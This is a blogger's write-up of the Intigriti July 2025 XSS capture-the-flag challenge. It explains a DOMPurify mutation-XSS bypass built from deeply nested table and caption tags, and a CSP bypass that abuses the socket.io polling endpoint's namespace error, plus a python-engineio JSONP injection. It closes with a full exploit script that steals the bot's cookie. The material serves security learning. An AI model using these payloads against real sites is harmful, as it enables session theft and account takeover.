intigriti 0725 (july 2025) xss challenge
july 19, 2025
following the recent wizer ctf, i was hungering for more ctf content, so when i saw something from jorian about an xss challenge, i decided to give it a try.
the challenge is available at https://challenge-0725.intigriti.io/. if you’re interested, i suggest downloading the code and giving it a shot.
as a disclaimer: i am not a security expert, i am a total amateur, and this is my first time doing a writeup. if i got something wrong feel free to let me know on twitter :)
setup
the challenge page holds a simple chat app that allows users to enter a username to join and chat with others via websockets (socket.io library). additionally, there’s an option to invite a bot, which visits a chat room channel with puppeteer containing the challenge flag in the cookies.
something to note is that the challenge requires the --disable-features=EscapeLtGtInAttributes
startup flag is for chrome, and for firefox the option dom.security.html_serialization_escape_lt_gt=false
.
initial inspection
since the goal is to obtain the cookie stored in the bot’s browser, with the combined knowledge of the challenge rules, we know we’re looking for a full xss vector that allows arbitrary js execution. considering entry points, there seem to be three possibilities, or values we control: usernames, channel ids, and chat messages.
for usernames, there are two main places where they’re reflected to the user. the first is in system messages. however, usernames appear to be sanitized by the server when used in the message text:
jsfunction userToHtml(user) { return ( `<span style="color: hsl(${user.color}deg, 100%, 50%)">` + `${user.username.replace(/</g, "<")}</span>` ); }
even though only the <
symbol is escaped, this appears to be enough to prevent any misusage. usernames are also set using textContent
above the message text and in the sidebar user list:
jsconst usernameSpan = document.createElement("span"); usernameSpan.className = "username"; usernameSpan.textContent = message.username; usernameSpan.style.color = `hsl(${message.color}deg, 100%, 50%)`; messageElement.appendChild(usernameSpan);
jsfor (const user of users) { const li = document.createElement("li"); li.textContent = user.username; li.style.color = `hsl(${user.color}deg, 100%, 50%)`; userList.appendChild(li); }
moving on to the channel ids, we can also quickly eliminate this as being useful since the regex used to verify it everywhere is robust:
js/^[0-9a-f]{8}-[0-9a-f]{4}-[0-9a-f]{4}-[0-9a-f]{4}-[0-9a-f]{12}$/.test(channelId)
thus, we must be able to do something with chat messages.
something that also stands out when looking at the code is the content security policy
js// Security headers app.use(function (req, res, next) { res.setHeader( "Content-Security-Policy", `default-src 'self'; script-src 'self'; style-src 'self' 'unsafe-inline'; base-uri 'none'; frame-src 'none'; form-action 'self'`, ); res.setHeader("X-Content-Type-Options", "nosniff"); res.setHeader("X-Frame-Options", "SAMEORIGIN"); next(); });
this appears to be pretty strict, and the app also doesn’t allow user file upload (which is a typical way to take advantage script-src 'self'
). we’ll need a way around this once we have html injection, otherwise we won’t be able to achieve arbitrary js execution.
html injection
having identified chat messages as the (most likely) entry point for html injection, we can take a look at the relevant app code. immediately, a few things stand out:
jssocket.on("message", (message) => { const messageElement = document.createElement("div"); messageElement.className = "message"; // ... (other elements are initialized) // message text (sanitized) const textSpan = document.createElement("span"); textSpan.appendChild( DOMPurify.sanitize(message.text, { RETURN_DOM_FRAGMENT: true, ADD_TAGS: ["iframe"], }), ); messageElement.appendChild(textSpan); const chatMessages = document.getElementById("chat-messages"); chatMessages.appendChild(messageElement); chatMessages.scrollTop = chatMessages.scrollHeight; document.body.innerHTML = document.body.innerHTML; });
firstly, message text (which can contain html) is sanitized using DOMPurify
, then after appending the sanitized message html to the message element, the page’s body is re-parsed with the document.body.innerHTML = document.body.innerHTML;
line. this is very likely a place we can take advantage of mutation xss.
prior to this challenge i wasn’t familiar with any mutation xss techniques, so i did a lot of research specifically into DOMPurify bypasses. an incredibly useful resource i found was mizu’s Exploring the DOMPurify library: Bypasses and Fixes (two part blog post). from this, i gathered a few things:
- most bypasses in the past had to do with exploiting different namespaces (
<html>
,<svg>
,<math>
) - this was fully patched in v3.1.2, and it’s not likely that a new DOMPurify bug would be burned on a ctf like this (v3.2.5 is being used here)
- we’re
probablylooking for a misconfiguration/misuse
the first thing that interested me was the fact that iframe
s were specifically added to the element allowlist. i thought for certain this must be part of the challenge, but after going down this hole for quite some time, i ended up with nothing. i supposed it must’ve been a red herring since it never ended up being relevant for my final payload.
moving on, one notable misuse the post talks about is the following:
jsapp.get("/sanitize", (req, res) => { const dom = new JSDOM(""); const purify = DOMPurify(dom.window); const cleanHTML = purify.sanitize(req.query.html); res.send("<textarea>"+cleanHTML+"</textarea>"); });
since DOMPurify isn’t aware of the surrounding <textarea>
, one can inject something like:
html<div id="</textarea><img src=x onerror=alert()>"></div>
which is valid html, but when placed inside the textarea
it results in the img
element inside the attribute text getting broken out.
hmm… <>
inside an attribute? since the challenge requires disabling a setting related to escaping these, this looks like a promising route. however, we can see that the result from DOMPurify is not placed in a textarea
(or any of the other interchangeable tags the post lists). it’s put inside a span, inside a message element div, inside of a container div with id chat-messages
. how might we put the message content inside a different element instead?
going back to the code, note that the message is appended specifically into an element with id chat-messages
:
jsconst chatMessages = document.getElementById("chat-messages"); chatMessages.appendChild(messageElement);
what if this element happened to be a textarea
with id chat-messages
instead of a div
? this is something we can inject in a message, but for it to take precedence over the the existing div#chat-messages
element, it needs to be inserted before it in the dom.
we once again return to mizu’s articles to look for useful information. there are a few more very interesting things worth taking a look at:
- in chrome and firefox, node flattening occurs after 512 nested elements
<table>
elements nested inside<table>
elements are broken out (e.g. the<table><table></table></table>
payload will result in<table></table><table></table>
being appended to the dom)- a similar thing is true for caption elements (
<table><caption><caption></caption></caption></table>
becomes<table><caption></caption><caption></caption></table>
) <caption>
elements can also end up popping elements below it out and moving them above the containing table in certain situations
admittedly, by the time i found out about this xss challenge, there were already three hints posted on the intigriti twitter, with the third one being How many tables can you stack before the whole thing falls over?. thus, it was easier to narrow this part down to having something to do with nesting <table>
elements.
so, armed with this knowledge, we can try experimenting with some payloads. since it’s likely we do need to nest (or “stack”) tables, along with maybe wanting something to happen with <caption>
elements (we want our new chat messages container to be moved before/above the current one), i started by just trying to spam a ton of them:
jscopy("<table><caption>".repeat(1000)+"<div>x</div>") // paste in js console to copy to clipboard, then send as chat message
immediately after trying this, i could see that something unexpected happened with the dom: the send message bar popped off the chat window and appeared floating with a gap in between, and the “x” text appeared, not in the sent message, but at the bottom of the window where the message bar had been. checking more closely, it appeared that a bunch of <table>
s somehow ended up outside of the original message and in the wrapper div.container
element. this is promising! counting the extra tables, i found 489 of them. thus, a logical next step was trying 1000-489=511
of them :)
jscopy("<table><caption>".repeat(511)+"<div>x</div>")
bang! the “x” appears at the top of chat window. we can now try constructing a payload to give us html injection:
jscopy("<table><caption>".repeat(511)+'<textarea id="chat-messages"></textarea>') // message 1 copy('<div id="</textarea><img src=x onerror=alert(1) />"></div>') // message 2
the <img>
is successfully injected with the onerror
attribute intact, bypassing DOMPurify’s sanitizing! however, the script fails to execute due to the page’s content security policy, so we’re not done yet.
edit: after reading jorian’s own writeup for the challenge, i saw that the intended solution was to use an <iframe>
instead of a <textarea>
, and thus was why the iframe tag was given special allowance. however, it works perfectly fine with either.
why this table business works
when completing this challenge, i happened to stumble on a working payload relatively quickly (excluding the hours i spent simply reading about DOMPurify and mutation xss) without fully understanding how it worked. while i mentioned the basics, here is (my attempt at) a fuller explanation:
the first important thing to understand is the node flattening that occurs after we reach a depth of 512 elements (in firefox and chrome at least). to simplify things, say we simply have a document body, a container div, and a bunch of nested tables:
html<body> <div> <table><caption> x253 (506 tags total) <table> <caption> <table> <caption>
this looks normal. but what if we increase the depth by one more?
html<body> <div> x2 <table><caption> x253 (506 tags total) <table> <caption> <table> <caption>
the final caption ends up being flattened. once more?
html<body> <div> x3 <table><caption> x253 (506 tags total) <table> <caption> <table> <caption>
this is interesting, but no elements are being bumped up a layer, they’re simply being flattened. the real interesting bit is what happens when we add in the document.body.innerHTML = document.body.innerHTML;
line from earlier. going back to the example with two containing elements, we now get:
html<body> <div> x2 <table><caption> x253 (506 tags total) <table> <caption> <table> <caption>
the final caption got bumped up a layer! adding one more containing div again now gives us:
html<body> <div> x3 <table><caption> x252 (504 tags total) <table> <caption> <table> <caption> <table> <caption>
here, our final caption got bumped up two layers, and the table containing it was bumped up one layer. this behavior, while confusing at first, actually isn’t unexpected.
if we go back to something similar to what we had before, after the node flattening but without the depth:
html<table> <caption> <table> <caption> <table> <caption>
we can see that after another run through the dom parser, it ends up looking like this:
html<table> <caption> <table> <caption> <table> <caption>
and this is exactly what we saw happen with the deeply nested elements. essentially, the document body html reassignment triggers a re-parse of the content that ended up flattened during the initial parse. as mentioned before, the reason elements start moving up layers is because of the fact that nested tables and captions are broken out. this behavior cascades, and we end up with elements at the end of the nested tables moved all the way back up.
finally, the whole reason we were able to move the new #chat-messages
element to the top of the chat window container was because the ui was actually all contained inside a table. here’s a simplified version of what the ui ends up looking like after the <table><caption>
s are flattened and popped out:
html<table> <tbody> <tr> <td> <div id="x"> before <!-- a bunch of nested tables here --> </div> </td> </tr> </tbody> <caption></caption> <div id="x">after</div> </table>
but running this through the dom parser, the <div id="x">after</div>
ends up getting moved outside of the table, right above it! here is where the specifics are a little lost on me, but from what i understand from the html spec, after finding the misnested div
element, foster parenting is enabled to correct it, and the new insertion position becomes inside the table’s containing element, after the last child (not yet the table, since it hasn’t finished processing)… which ends up being right above the table.
this means that the reason the element with the clobbered id was moved out of the table was not due to the behavior of the caption element, as i had initially suspected. in fact, nesting all those tables wasn’t strictly necessary in the first place.
if this still doesn’t make complete sense, i urge you to read mizu’s article if you haven’t already. all the components are explained there, albeit for a slightly different end result.
csp bypass
here is where i spent most of my time, of which nearly all was on unfruitful rabbit holes. in order to not jam pack this article with too much useless info, i’ll just touch on a few things i looked at.
something i noticed immediately was that the /index.html
page didn’t have a csp defined. looking at the code, i saw that static files were served from the public
directory:
jsapp.use(express.static("public"));
and this directory also happened to contain the other html pages. sure enough, navigating to /login.html
, /bot.html
, and /chat.html
, all of these pages also had no csp defined. since something i could inject was a redirect, this seemed like a potential avenue worth exploring.
however, we already determined that the only realistic entry point for html injection was on the chat page (through messages), and the problem with loading the /chat.html
page was that the js had a check that would force a redirect off of it:
jsconst channelId = location.pathname.split("/").pop(); // ... if (!/^[0-9a-f]{8}-[0-9a-f]{4}-[0-9a-f]{4}-[0-9a-f]{4}-[0-9a-f]{12}$/.test(channelId)) { window.location.href = "/login"; throw new Error("Invalid channel ID"); }
i thought that there might be some way to spoof the location.pathname
parsing, but this was not doable.
the only other thing i noticed was this line on the chat page:
html<script src="/socket.io/socket.io.js"></script>
however, this was not a static directory anywhere in the code. instead, it appeared to come from the socket.io dependency used on the server. visiting this path in my browser to check it out, i found:
json{"code":0,"message":"Transport unknown"}
if there way a way to manipulate something from this endpoint into valid javascript, then we could bypass the csp and load it as a script with our html injection!
quickly, i dug into documentation about the protocol, and found that polling could be done through http, allowing us to receive and send packets without needing any websockets. i spent a long time looking at all parts of socket.io and its parent, engine.io, but overlooked the simple solution that i didn’t find under later on.
socket.io packets are encoded in the following format:
<packet type>[<# of binary attachments>-][<namespace>,][<acknowledgment id>][JSON-stringified payload without binary]
with an example being:
json0/admin,{"sid":"oSO0OpakMV_3jnilAAAA"}
see it? what if we controlled the namespace.
since the server used the default namespace (nothing), it took me a while to spot this, and i had initially assumed that the server would only respond with the configured namespace, but it was quick to check:
jslet base = "http://localhost/socket.io/?EIO=4&transport=polling"; let res = await fetch(base).then((res) => res.text()); let sid = JSON.parse(res.substring(1)).sid; let url = `${base}&sid=${sid}` await fetch(url, { body: `40/hey,`, method: "POST" }); res = await fetch(url).then((res) => res.text()); console.log(res)
44/hey,{"message":"Invalid namespace"}
perfect. now with a little tweak…
js44/**/;alert(1);//,{"message":"Invalid namespace"}
we have a valid js file.
csp bypass in python-socketio
while researching socket.io, i came across this past ctf solution. funny enough, the unofficial python-engineio
implementation of the engine.io protocol (which is what socket.io is based on) has a vulnerability in the jsonp polling: a malformed packet can break out of the enclosing js string and add arbitrary js to execute.
sending the following message via a socket.io client connection:
pythonsio.emit('message', '\\"+(alert(1)));//')
results in a response from the jsonp endpoint like such:
js___eio[0]("42[\"message\",{\"username\":\"user\",\"content\":\"\\\\" + (alert(1)));//\"}]");
then, with a little dom clobbering, this gives us js execution:
html<a id="___eio"></a> <a id="___eio"></a> <script src="/socket.io/?EIO=4&transport=polling&sid=SESSION_ID&j=0"></script>
additionally, the jsonp polling is actually implemented different between the the official engine.io package and the python port, so it confused me a little bit when exploring this. just appending &j=0
to any polling request won’t give you jsonp data, unless you started the polling session as a jsonp session. however, none of this is documented at all, and i had to dig into the code to figure out how to actually use these things.
the reason this can’t be used in the official implementation is simply because packet data is JSON.stringify
’d before sending, ensuring everything is escaped properly:
jsconst js = JSON.stringify(data) .replace(/\u2028/g, "\\u2028") .replace(/\u2029/g, "\\u2029"); // prepare response data = this.head + js + this.foot;
while this issue was not applicable for this challenge, i still thought it was interesting and worth including here.
final solution
the html injection and csp bypass can be combined, and completely executed through our own connection to the socket.io server:
jsimport { io } from "socket.io-client"; const SERVER = "https://challenge-0725.intigriti.io"; const CHANNEL = "00000000-0000-0000-0000-000000000000"; const PAYLOAD_ONE = "<table><caption>".repeat(511) + '<textarea id="chat-messages">'; const PAYLOAD_TWO = `<p id="</textarea><iframe srcdoc='<script src={{URL}}></script>'></iframe>"></p>`; const JS = ` const form = window.parent.document.getElementById("message-form"); form.querySelector("input").value = "cookies: " + document.cookie; form.querySelector("button").click(); `.replaceAll("\n", ""); const socket = io(SERVER, { rejectUnauthorized: false }); socket.on("connect", () => { // join the channel with our own bot socket.emit("join_channel", { channelId: CHANNEL, username: "exploit", }); }); socket.on("connect_error", (err) => { console.error(err); socket.disconnect(); }); // log messages so we can see when the xss is executed socket.on("message", async (msg) => { const text = msg.text.length > 150 ? msg.text.slice(0, 150) + "..." : msg.text; console.log(`${msg.username || msg.type}: ${text}`); }); // when the bot joins, execute our xss socket.on("user_list", async (users) => { const hasBot = users.some((user) => user.username === "bot"); if (!hasBot) return; await exploit(); }); async function exploit() { socket.emit("send_message", PAYLOAD_ONE); // set up endpoint with our js payload const path = "/socket.io/?EIO=4&transport=polling"; const res = await fetch(SERVER + path).then((res) => res.text()); const sid = JSON.parse(res.substring(1)).sid; const sessionPath = `/socket.io/?EIO=4&transport=polling&sid=${sid}`; await fetch(SERVER + sessionPath, { body: `40/**/;${JS}//,`, method: "POST", }); const finalPayload = PAYLOAD_TWO.replace("{{URL}}", sessionPath); socket.emit("send_message", finalPayload); // wait a second for the cookies to be sent, then disconnect await new Promise((resolve) => setTimeout(resolve, 1000)); socket.disconnect(); }
and with that, we can start the script, open the channel, and invite the bot. the flag will be printed in our console.